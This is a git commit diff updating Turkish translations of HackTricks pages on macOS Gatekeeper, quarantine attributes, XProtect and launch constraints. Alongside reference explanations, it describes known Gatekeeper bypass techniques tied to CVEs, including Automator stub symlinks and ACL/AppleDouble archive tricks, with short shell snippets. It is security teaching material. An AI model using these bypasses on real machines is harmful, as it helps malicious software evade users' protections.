Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-07-19 16:29:24 +00:00
parent 1c29891af5
commit 11e3610ec9
20 changed files with 673 additions and 549 deletions

View file

@ -1,16 +1,19 @@
# macOS Gatekeeper / Quarantine / XProtect
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -20,9 +23,9 @@
**Gatekeeper**, Mac işletim sistemleri için geliştirilmiş bir güvenlik özelliğidir ve kullanıcıların sistemlerinde **yalnızca güvenilir yazılımları çalıştırmalarını** sağlamak için tasarlanmıştır. Kullanıcıların **App Store dışındaki kaynaklardan** indirdiği ve açmaya çalıştığı yazılımları **doğrulayarak** çalışır; bu kaynaklar arasında bir uygulama, eklenti veya yükleyici paketi bulunur.
Gatekeeper'ın temel mekanizması, **doğrulama** sürecinde yatmaktadır. İndirilen yazılımın **tanınmış bir geliştirici tarafından imzalanıp imzalanmadığını** kontrol eder ve yazılımın özgünlüğünü sağlar. Ayrıca, yazılımın **Apple tarafından onaylanıp onaylanmadığını** belirler; bu, yazılımın bilinen kötü amaçlı içerikten arındırıldığını ve onaylandıktan sonra değiştirilmediğini doğrular.
Gatekeeper'ın ana mekanizması, **doğrulama** sürecindedir. İndirilen yazılımın **tanınmış bir geliştirici tarafından imzalanıp imzalanmadığını** kontrol eder ve yazılımın özgünlüğünü sağlar. Ayrıca, yazılımın **Apple tarafından noterlenip noterlenmediğini** belirler; bu, yazılımın bilinen kötü amaçlı içerikten arındırıldığını ve noterlikten sonra değiştirilmediğini doğrular.
Ayrıca, Gatekeeper, kullanıcıların indirdikleri yazılımları ilk kez açmalarını onaylamaları için **kullanıcılara bir uyarı göstererek** kontrol ve güvenliği artırır. Bu koruma, kullanıcıların yanlışlıkla zararlı olabilecek çalıştırılabilir kodları, zararsız bir veri dosyası olarak yanlış değerlendirmelerini önlemeye yardımcı olur.
Ayrıca, Gatekeeper, kullanıcıların indirdikleri yazılımları ilk kez açmalarını onaylamaları için **kullanıcılara onay istemi** göndererek kullanıcı kontrolünü ve güvenliğini güçlendirir. Bu koruma, kullanıcıların yanlışlıkla zararlı olabilecek çalıştırılabilir kodları, zararsız bir veri dosyası olarak yanlış anlamalarını önlemeye yardımcı olur.
### Uygulama İmzaları
@ -36,9 +39,9 @@ Uygulama imzaları, kod imzaları olarak da bilinir ve Apple'ın güvenlik altya
Uygulama imzaları, Apple'ın Gatekeeper teknolojisinin temel bir parçasıdır. Bir kullanıcı **internetten indirilen bir uygulamayı açmaya çalıştığında**, Gatekeeper uygulama imzasını doğrular. Eğer imza, Apple tarafından tanınmış bir geliştiriciye verilen bir sertifika ile imzalanmışsa ve kod değiştirilmemişse, Gatekeeper uygulamanın çalışmasına izin verir. Aksi takdirde, uygulamayı engeller ve kullanıcıyı uyarır.
macOS Catalina'dan itibaren, **Gatekeeper ayrıca uygulamanın Apple tarafından onaylanıp onaylanmadığını** kontrol eder ve bu, ek bir güvenlik katmanı ekler. Onaylama süreci, uygulamayı bilinen güvenlik sorunları ve kötü amaçlı kod için kontrol eder ve bu kontroller geçerse, Apple uygulamaya Gatekeeper'ın doğrulayabileceği bir bilet ekler.
macOS Catalina'dan itibaren, **Gatekeeper ayrıca uygulamanın Apple tarafından noterlenip noterlenmediğini** kontrol eder ve bu, ek bir güvenlik katmanı ekler. Noterlik süreci, uygulamayı bilinen güvenlik sorunları ve kötü amaçlı kod için kontrol eder ve bu kontroller geçerse, Apple uygulamaya Gatekeeper'ın doğrulayabileceği bir bilet ekler.
#### İmzaları Kontrol Et
#### İmzaları Kontrol Etme
Bazı **kötü amaçlı yazılım örneklerini** kontrol ederken, her zaman **ikili dosyanın imzasını kontrol etmelisiniz** çünkü imzayı atan **geliştirici** zaten **kötü amaçlı yazılımla ilişkili** olabilir.
```bash
@ -59,15 +62,15 @@ codesign -s <cert-name-keychain> toolsdemo
```
### Notarization
Apple'ın notarizasyon süreci, kullanıcıları potansiyel olarak zararlı yazılımlardan korumak için ek bir güvenlik önlemi olarak hizmet eder. Bu süreç, **geliştiricinin uygulamasını** **Apple'ın Noter Servisi** tarafından incelenmek üzere göndermesini içerir; bu, App Review ile karıştırılmamalıdır. Bu hizmet, **kötü niyetli içerik** ve kod imzalama ile ilgili olası sorunlar için gönderilen yazılımı inceleyen **otomatik bir sistemdir**.
Apple'ın notarizasyon süreci, kullanıcıları potansiyel olarak zararlı yazılımlardan korumak için ek bir güvenlik önlemi olarak hizmet eder. Bu süreç, **geliştiricinin uygulamasını** **Apple'ın Noter Servisi** tarafından incelenmek üzere göndermesini içerir; bu, App Review ile karıştırılmamalıdır. Bu hizmet, **kötü amaçlı içerik** ve kod imzalama ile ilgili olası sorunlar için gönderilen yazılımı inceleyen **otomatik bir sistemdir**.
Eğer yazılım, herhangi bir endişe yaratmadan bu incelemeyi **geçerse**, Noter Servisi bir notarizasyon belgesi oluşturur. Geliştiricinin, bu belgeyi yazılımlarına **eklemesi** gerekmektedir; bu işleme 'stapling' denir. Ayrıca, notarizasyon belgesi çevrimiçi olarak da yayınlanır ve Gatekeeper, Apple'ın güvenlik teknolojisi, buna erişebilir.
Kullanıcının yazılımı ilk yüklemesi veya çalıştırması sırasında, notarizasyon belgesinin varlığı - ister çalıştırılabilir dosyaya eklenmiş olsun, ister çevrimiçi bulunsun - **Gatekeeper'a yazılımın Apple tarafından notarize edildiğini bildirir**. Sonuç olarak, Gatekeeper, yazılımın Apple tarafından kötü niyetli içerik için kontrol edildiğini belirten açıklayıcı bir mesajı ilk başlatma iletişim kutusunda gösterir. Bu süreç, kullanıcıların sistemlerine yükledikleri veya çalıştırdıkları yazılımların güvenliğine olan güvenini artırır.
Kullanıcının yazılımı ilk yüklemesi veya çalıştırması sırasında, notarizasyon belgesinin varlığı - ister çalıştırılabilir dosyaya eklenmiş olsun, ister çevrimiçi bulunsun - **Gatekeeper'a yazılımın Apple tarafından notarize edildiğini bildirir**. Sonuç olarak, Gatekeeper, yazılımın Apple tarafından kötü amaçlı içerik için kontrol edildiğini belirten açıklayıcı bir mesajı ilk başlatma iletişim kutusunda gösterir. Bu süreç, kullanıcıların sistemlerine yükledikleri veya çalıştırdıkları yazılımların güvenliğine olan güvenini artırır.
### Enumerating GateKeeper
GateKeeper, **güvenilir olmayan uygulamaların çalıştırılmasını engelleyen birkaç güvenlik bileşeni** ve ayrıca **bileşenlerden biridir**.
GateKeeper, **güvenilmeyen uygulamaların çalıştırılmasını engelleyen birkaç güvenlik bileşeni** ve ayrıca **bileşenlerden biridir**.
GateKeeper'ın **durumunu** görmek mümkündür:
```bash
@ -151,7 +154,7 @@ spctl --assess -v /Applications/App.app
Bir uygulama veya dosya **indirildiğinde**, web tarayıcıları veya e-posta istemcileri gibi belirli macOS **uygulamaları**, indirilen dosyaya genellikle "**karantina bayrağı**" olarak bilinen bir **uzatılmış dosya niteliği** ekler. Bu nitelik, dosyayı güvenilmeyen bir kaynaktan (internet) geldiği ve potansiyel olarak risk taşıdığı için **işaretlemek** amacıyla bir güvenlik önlemi olarak işlev görür. Ancak, tüm uygulamalar bu niteliği eklemez; örneğin, yaygın BitTorrent istemci yazılımları genellikle bu süreci atlar.
**Karantina bayrağının varlığı, bir kullanıcının dosyayı çalıştırmaya çalıştığında macOS'un Gatekeeper güvenlik özelliğine sinyal gönderir.**
**Karantina bayrağının varlığı, bir kullanıcının dosyayı çalıştırmaya çalıştığında macOS'un Gatekeeper güvenlik özelliğine sinyal verir**.
**Karantina bayrağı mevcut değilse** (bazı BitTorrent istemcileri aracılığıyla indirilen dosyalar gibi), Gatekeeper'ın **kontrolleri yapılmayabilir**. Bu nedenle, kullanıcıların daha az güvenli veya bilinmeyen kaynaklardan indirilen dosyaları açarken dikkatli olmaları gerekir.
@ -164,7 +167,7 @@ Bu nedenle, bu kontroller **yalnızca karantina niteliğine sahip uygulamalar ç
{% hint style="warning" %}
Bu nitelik, dosyayı oluşturan/indiren **uygulama tarafından ayarlanmalıdır**.
Ancak, sandbox'lanmış dosyalar, oluşturdukları her dosya için bu niteliği alacaktır. Sandbox'lanmamış uygulamalar ise bunu kendileri ayarlayabilir veya sistemin oluşturulan dosyalara `com.apple.quarantine` uzatılmış niteliğini ayarlamasını sağlayacak **[LSFileQuarantineEnabled](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc)** anahtarını **Info.plist** içinde belirtebilirler.
Ancak, sandbox'lanmış dosyalar, oluşturdukları her dosya için bu niteliği alacaktır. Sandbox'lanmamış uygulamalar ise bunu kendileri ayarlayabilir veya sistemin oluşturulan dosyalara `com.apple.quarantine` uzatılmış niteliğini ayarlamasını sağlayacak **[LSFileQuarantineEnabled](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc)** anahtarını **Info.plist** dosyasında belirtebilirler.
{% endhint %}
Ayrıca, **`qtn_proc_apply_to_self`** çağrısı yapan bir süreç tarafından oluşturulan tüm dosyalar karantinaya alınır. Veya API **`qtn_file_apply_to_path`**, belirtilen bir dosya yoluna karantina niteliğini ekler.
@ -284,11 +287,11 @@ Karantina bilgileri, **`~/Library/Preferences/com.apple.LaunchServices.Quarantin
#### **Karantina.kext**
Çekirdek uzantısı yalnızca **sistemdeki çekirdek önbelleği aracılığıyla** mevcuttur; ancak, **https://developer.apple.com/** adresinden **Kernel Debug Kit** indirebilirsiniz, bu da uzantının sembolik bir versiyonunu içerecektir.
Çekirdek uzantısı yalnızca **sistemdeki çekirdek önbelleği** aracılığıyla mevcuttur; ancak, **https://developer.apple.com/** adresinden **Kernel Debug Kit** indirebilirsiniz, bu da uzantının sembolik bir versiyonunu içerecektir.
### XProtect
XProtect, macOS'ta yerleşik bir **kötü amaçlı yazılım** karşıtı özelliktir. XProtect, **herhangi bir uygulama ilk kez başlatıldığında veya değiştirildiğinde, bilinen kötü amaçlı yazılımlar ve güvensiz dosya türleri veritabanıyla karşılaştırır**. Safari, Mail veya Mesajlar gibi belirli uygulamalar aracılığıyla bir dosya indirdiğinizde, XProtect otomatik olarak dosyayı tarar. Eğer dosya veritabanındaki bilinen kötü amaçlı yazılımlardan herhangi biriyle eşleşirse, XProtect **dosyanın çalışmasını engeller** ve sizi tehdit hakkında uyarır.
XProtect, macOS'ta yerleşik bir **kötü amaçlı yazılım** önleme özelliğidir. XProtect, **herhangi bir uygulama ilk kez başlatıldığında veya değiştirildiğinde, bilinen kötü amaçlı yazılımlar ve güvensiz dosya türleri veritabanıyla karşılaştırır**. Safari, Mail veya Mesajlar gibi belirli uygulamalar aracılığıyla bir dosya indirdiğinizde, XProtect otomatik olarak dosyayı tarar. Eğer dosya veritabanındaki bilinen kötü amaçlı yazılımlardan herhangi biriyle eşleşirse, XProtect **dosyanın çalışmasını engeller** ve sizi tehdit hakkında uyarır.
XProtect veritabanı, Apple tarafından yeni kötü amaçlı yazılım tanımlarıyla **düzenli olarak güncellenir** ve bu güncellemeler otomatik olarak Mac'inize indirilip yüklenir. Bu, XProtect'in her zaman en son bilinen tehditlerle güncel olmasını sağlar.
@ -302,9 +305,9 @@ system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistC
```
{% endcode %}
XProtect, **/Library/Apple/System/Library/CoreServices/XProtect.bundle** konumunda SIP korumalı bir yerde bulunmaktadır ve bundle içinde XProtect'in kullandığı bilgileri bulabilirsiniz:
XProtect, **/Library/Apple/System/Library/CoreServices/XProtect.bundle** konumunda bulunan SIP korumalı bir alandadır ve bundle içinde XProtect'in kullandığı bilgileri bulabilirsiniz:
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Bu cdhash'lere sahip kodların eski yetkilendirmeleri kullanmasına izin verir.
* **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Bu cdhashes ile kodların eski yetkilendirmeleri kullanmasına izin verir.
* **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleID ve TeamID aracılığıyla yüklenmesine izin verilmeyen eklentilerin ve uzantıların listesi veya minimum sürümü belirtir.
* **`XProtect.bundle/Contents/Resources/XProtect.yara`**: Kötü amaçlı yazılımları tespit etmek için Yara kuralları.
* **`XProtect.bundle/Contents/Resources/gk.db`**: Engellenen uygulamaların ve TeamID'lerin hash'lerini içeren SQLite3 veritabanı.
@ -314,16 +317,16 @@ XProtect, **/Library/Apple/System/Library/CoreServices/XProtect.bundle** konumun
### Not Gatekeeper
{% hint style="danger" %}
Gatekeeper'ın **her seferinde** bir uygulama çalıştırdığınızda **çalıştırılmadığını** unutmayın, sadece _**AppleMobileFileIntegrity**_ (AMFI) **çalıştırdığınız ve Gatekeeper tarafından daha önce çalıştırılıp doğrulanmış bir uygulamanın** yürütülebilir kod imzalarını **doğrulayacaktır.**
Gatekeeper'ın **her seferinde** bir uygulama çalıştırdığınızda **çalıştırılmadığını** unutmayın, sadece _**AppleMobileFileIntegrity**_ (AMFI) yalnızca Gatekeeper tarafından daha önce çalıştırılmış ve doğrulanmış bir uygulamayı çalıştırdığınızda **yürütülebilir kod imzalarını** **doğrular.**
{% endhint %}
Bu nedenle, daha önce bir uygulamayı çalıştırarak Gatekeeper ile önbelleğe almak, ardından **uygulamanın yürütülebilir olmayan dosyalarını değiştirmek** (Electron asar veya NIB dosyaları gibi) mümkündü ve başka korumalar yoksa, uygulama **kötü amaçlı** eklemelerle **çalıştırılıyordu**.
Bu nedenle, daha önce bir uygulamayı çalıştırarak Gatekeeper ile önbelleğe almak, ardından **uygulamanın yürütülebilir olmayan dosyalarını değiştirmek** (Electron asar veya NIB dosyaları gibi) mümkündü ve başka korumalar yoksa, uygulama **kötü amaçlı** eklemelerle **çalıştırılıyordu.**
Ancak, şimdi bu mümkün değil çünkü macOS **uygulama bundle'ları içindeki dosyaların değiştirilmesini** engelliyor. Yani, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) saldırısını denerseniz, Gatekeeper ile önbelleğe almak için uygulamayı çalıştırdıktan sonra bundle'ı değiştiremeyeceğinizi göreceksiniz. Örneğin, İçerikler dizininin adını NotCon olarak değiştirirseniz (saldırıda belirtildiği gibi) ve ardından uygulamanın ana ikili dosyasını çalıştırarak Gatekeeper ile önbelleğe alırsanız, bir hata tetiklenecek ve çalıştırılmayacaktır.
Ancak, şimdi bu mümkün değil çünkü macOS **uygulama paketleri içindeki dosyaların değiştirilmesini** engelliyor. Yani, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) saldırısını denerseniz, Gatekeeper ile önbelleğe almak için uygulamayı çalıştırdıktan sonra paketi değiştiremeyeceğinizi göreceksiniz. Örneğin, İçerikler dizininin adını NotCon olarak değiştirirseniz (saldırıda belirtildiği gibi) ve ardından uygulamanın ana ikili dosyasını çalıştırarak Gatekeeper ile önbelleğe alırsanız, bir hata tetiklenecek ve çalıştırılmayacaktır.
## Gatekeeper Atlatmaları
Gatekeeper'ı atlatmanın (kullanıcının bir şey indirmesini ve Gatekeeper'ın engellemesi gereken bir şeyi çalıştırmasını sağlamak) herhangi bir yolu, macOS'ta bir güvenlik açığı olarak kabul edilir. Geçmişte Gatekeeper'ı atlatmaya izin veren bazı tekniklere atanmış CVE'ler şunlardır:
Gatekeeper'ı atlatmanın (kullanıcının bir şey indirmesini ve Gatekeeper'ın engellemesi gereken bir şeyi çalıştırmasını sağlamak) herhangi bir yolu, macOS'ta bir güvenlik açığı olarak kabul edilir. Geçmişte Gatekeeper'ı atlatmaya izin veren bazı tekniklere atanan CVE'ler şunlardır:
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
@ -335,7 +338,7 @@ Daha fazla bilgi için [**orijinal raporu**](https://labs.withsecure.com/publica
Bir uygulama **Automator** ile oluşturulduğunda, çalıştırmak için ihtiyaç duyduğu bilgiler `application.app/Contents/document.wflow` içinde bulunur, yürütülebilir dosyada değil. Yürütülebilir dosya, **Automator Application Stub** adı verilen genel bir Automator ikili dosyasıdır.
Bu nedenle, `application.app/Contents/MacOS/Automator\ Application\ Stub` **sistem içindeki başka bir Automator Application Stub'a sembolik bir bağlantı ile işaret edebilir** ve `document.wflow` (sizin script'iniz) içindekileri **Gatekeeper'ı tetiklemeksizin çalıştırır** çünkü gerçek yürütülebilir dosya karantina xattr'ına sahip değildir.
Bu nedenle, `application.app/Contents/MacOS/Automator\ Application\ Stub` **sistem içindeki başka bir Automator Application Stub'a sembolik bir bağlantı ile işaret edebilir** ve `document.wflow` (sizin scriptiniz) içindekileri **Gatekeeper'ı tetiklemeksizin çalıştırır** çünkü gerçek yürütülebilir dosya karantina xattr'ına sahip değildir.
Beklenen konum örneği: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
@ -368,7 +371,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
Ayrıca, **AppleDouble** dosya formatı, bir dosyayı ACE'leri ile birlikte kopyalar.
[**kaynak kodunda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) **`com.apple.acl.text`** adlı xattr içinde saklanan ACL metin temsilinin, açılmış dosyada ACL olarak ayarlanacağını görebilirsiniz. Yani, bir uygulamayı ACL'si diğer xattr'ların yazılmasını engelleyen bir zip dosyasına **AppleDouble** dosya formatı ile sıkıştırdıysanız... karantina xattr'ı uygulamaya ayarlanmamıştı:
[**kaynak kodunda**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) xattr içinde saklanan ACL metin temsilinin **`com.apple.acl.text`** olarak adlandırıldığını ve dekomprese edilmiş dosyada ACL olarak ayarlanacağını görebilirsiniz. Yani, bir uygulamayı ACL'si diğer xattr'ların yazılmasını engelleyen bir zip dosyasına **AppleDouble** dosya formatı ile sıkıştırdıysanız... karantina xattr'ı uygulamaya ayarlanmamıştı:
{% code overflow="wrap" %}
```bash
@ -390,7 +393,7 @@ aa archive -d app -o test.aar
```
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
**Google Chrome'un indirilen dosyalara karantina niteliğini ayarlamadığı** bazı macOS iç sorunları nedeniyle keşfedildi.
**Google Chrome'un indirilen dosyalar için karantina niteliğini ayarlamadığı** bazı macOS iç sorunları nedeniyle keşfedildi.
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)

View file

@ -1,100 +1,101 @@
# macOS Başlatma/Çevre Kısıtlamaları ve Güven Önbelleği
# macOS Başlatma/Ortam Kısıtlamaları & Güvenilir Önbellek
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT koleksiyonumuz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**
*
* .
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Temel Bilgiler
macOS'ta başlatma kısıtlamaları, bir işlemin **nasıl, kim tarafından ve nereden başlatılabileceğini düzenleyerek** güvenliği artırmak için tanıtılmıştır. macOS Ventura'da başlatılan bu kısıtlamalar, **her sistem ikili dosyasını farklı kısıtlama kategorilerine** ayıran bir çerçeve sağlar. Bu kısıtlamalar, sistemdeki her yürütülebilir ikili dosyayı kapsar ve bir **belirli bir ikili dosyanın başlatılması için gereksinimleri belirleyen bir dizi kuralı** içerir. Kurallar, bir ikili dosyanın karşılaması gereken kendi kısıtlamaları, ebeveyn sürecinin karşılaması gereken ebeveyn kısıtlamaları ve diğer ilgili varlıkların uyması gereken sorumlu kısıtlamaları içerir.
macOS'taki başlatma kısıtlamaları, **bir sürecin nasıl, kim tarafından ve nereden başlatılacağını düzenleyerek güvenliği artırmak** amacıyla tanıtılmıştır. macOS Ventura'da başlatılan bu kısıtlamalar, **her sistem ikili dosyasını belirli kısıtlama kategorilerine** ayıran bir çerçeve sağlar; bu kategoriler, sistem ikili dosyalarını ve bunların ilgili hash'lerini içeren **güvenilir önbellek** içinde tanımlanmıştır. Bu kısıtlamalar, sistemdeki her yürütülebilir ikili dosyayı kapsar ve **belirli bir ikili dosyanın başlatılması için gereksinimleri** belirleyen bir dizi **kural** içerir. Kurallar, bir ikilinin karşılaması gereken kendi kısıtlamalarını, ebeveyn sürecinin karşılaması gereken ebeveyn kısıtlamalarını ve diğer ilgili varlıkların uyması gereken sorumlu kısıtlamaları kapsar.
Bu mekanizma, macOS Sonoma'dan itibaren üçüncü taraf uygulamalara **Çevre Kısıtlamaları** aracılığıyla da genişletilir ve geliştiricilere uygulamalarını korumak için bir dizi anahtar ve değer belirtme imkanı sağlar.
Mekanizma, macOS Sonoma'dan itibaren **Ortam Kısıtlamaları** aracılığıyla üçüncü taraf uygulamalara da uzanır ve geliştiricilerin uygulamalarını korumalarına olanak tanır; bu, bir **dizi anahtar ve değer belirleyerek ortam kısıtlamaları** tanımlamayı içerir.
Başlatma çevresi ve kitaplık kısıtlamalarını, **`launchd` özellik listesi dosyalarında** veya kod imzalama için kullandığınız **ayrı özellik listesi** dosyalarında kaydedebileceğiniz kısıtlama sözlüklerinde tanımlarsınız.
**Başlatma ortamı ve kütüphane kısıtlamalarını**, ya **`launchd` özellik listesi dosyalarında** ya da kod imzalamada kullandığınız **ayrı özellik listesi** dosyalarında kaydedilen kısıtlama sözlüklerinde tanımlarsınız.
4 tür kısıtlama vardır:
* **Kendi Kısıtlamaları**: Çalışan ikili dosyaya uygulanan kısıtlamalar.
* **Ebeveyn Süreç Kısıtlamaları**: İşlemin ebeveyn sürecine uygulanan kısıtlamalar (örneğin **`launchd`** bir XP hizmeti çalıştırıyor).
* **Sorumlu Kısıtlamalar**: XPC iletişiminde hizmeti çağıran sürece uygulanan kısıtlamalar.
* **Kitaplık yükleme kısıtlamaları**: Yüklenebilecek kodu seçici olarak tanımlamak için kitaplık yükleme kısıtlamalarını kullanın.
* **Kendi Kısıtlamaları**: **çalışan** ikili dosyaya uygulanan kısıtlamalar.
* **Ebeveyn Süreci**: **sürecin ebeveynine** uygulanan kısıtlamalar (örneğin **`launchd`** bir XP hizmetini çalıştırıyorsa)
* **Sorumlu Kısıtlamalar**: **hizmeti çağıran sürece** uygulanan kısıtlamalar bir XPC iletişimi içinde
* **Kütüphane yükleme kısıtlamaları**: Yüklenebilecek kodu seçici olarak tanımlamak için kütüphane yükleme kısıtlamalarını kullanın
Bir işlem başka bir işlemi başlatmaya çalıştığında - `execve(_:_:_:)` veya `posix_spawn(_:_:_:_:_:_:)` çağrısı yaparak - işletim sistemi, **yürütülebilir** dosyanın **kendi kısıtlamasını karşıladığını** kontrol eder. Ayrıca, **ebeveyn sürecin** yürütülebilir dosyanın **ebeveyn kısıtlamasını karşıladığını** ve **sorumlu sürecin** yürütülebilir dosyanın **sorumlu süreç kısıtlamasını karşıladığını** kontrol eder. Bu başlatma kısıtlamalarından herhangi biri karşılanmazsa, işletim sistemi programı çalıştırmaz.
Bu nedenle, bir süreç başka bir süreci başlatmaya çalıştığında — `execve(_:_:_:)` veya `posix_spawn(_:_:_:_:_:_:)` çağrısı yaparak — işletim sistemi, **yürütülebilir** dosyanın **kendi kısıtlamasını** **karşılayıp karşılamadığını** kontrol eder. Ayrıca, **ebeveyn** **sürecinin** yürütülebilir dosyasının **yürütülebilir dosyanın ebeveyn kısıtlamasını** **karşılayıp karşılamadığını** ve **sorumlu** **sürecin** yürütülebilir dosyasının **yürütülebilir dosyanın sorumlu süreç kısıtlamasını** **karşılayıp karşılamadığını** kontrol eder. Bu başlatma kısıtlamalarından herhangi biri karşılanmazsa, işletim sistemi programı çalıştırmaz.
Bir kitaplık yüklerken kitaplık kısıtlamasının **herhangi bir bölümü doğru değilse**, işleminiz kitaplığı **yüklemiyor**.
Bir kütüphane yüklenirken **kütüphane kısıtlamasının** herhangi bir kısmı doğru değilse, süreciniz **kütüphaneyi yüklemez**.
## LC Kategorileri
Bir LC, **gerçekler** ve **mantıksal işlemler** (ve, veya..) içeren bir yapıdır.
Bir LC, **gerçekler** ve **mantıksal işlemler** (ve, veya..) ile oluşturulmuş ve gerçekleri birleştiren bir yapıdır.
[**Bir LC'nin kullanabileceği gerçekler belgelenmiştir**](https://developer.apple.com/documentation/security/defining\_launch\_environment\_and\_library\_constraints). Örneğin:
* is-init-proc: İkili dosyanın işletim sisteminin başlatma işlemi (`launchd`) olması gerekip gerekmediğini belirten bir Boolean değeri.
* is-sip-protected: İkili dosyanın System Integrity Protection (SIP) tarafından korunan bir dosya olup olmadığını belirten bir Boolean değeri.
* `on-authorized-authapfs-volume:` İşletim sisteminin, yetkilendirilmiş, doğrulanmış bir APFS biriminden yürütülebilir dosyayı yükleyip yüklemediğini belirten bir Boolean değeri.
* `on-authorized-authapfs-volume`: İşletim sisteminin, yetkilendirilmiş, doğrulanmış bir APFS biriminden yürütülebilir dosyayı yükleyip yüklemediğini belirten bir Boolean değeri.
* Cryptexes birimi
* `on-system-volume:` İşletim sisteminin, şu anda başlatılan sistem biriminden yürütülebilir dosyayı yükleyip yüklemediğini belirten bir Boolean değeri.
* is-init-proc: Yürütülebilir dosyanın işletim sisteminin başlatma süreci (`launchd`) olup olmadığını belirten bir Boolean değeri.
* is-sip-protected: Yürütülebilir dosyanın Sistem Bütünlüğü Koruması (SIP) tarafından korunup korunmadığını belirten bir Boolean değeri.
* `on-authorized-authapfs-volume:` İşletim sisteminin yürütülebilir dosyayı yetkilendirilmiş, kimlik doğrulaması yapılmış bir APFS hacminden yükleyip yüklemediğini belirten bir Boolean değeri.
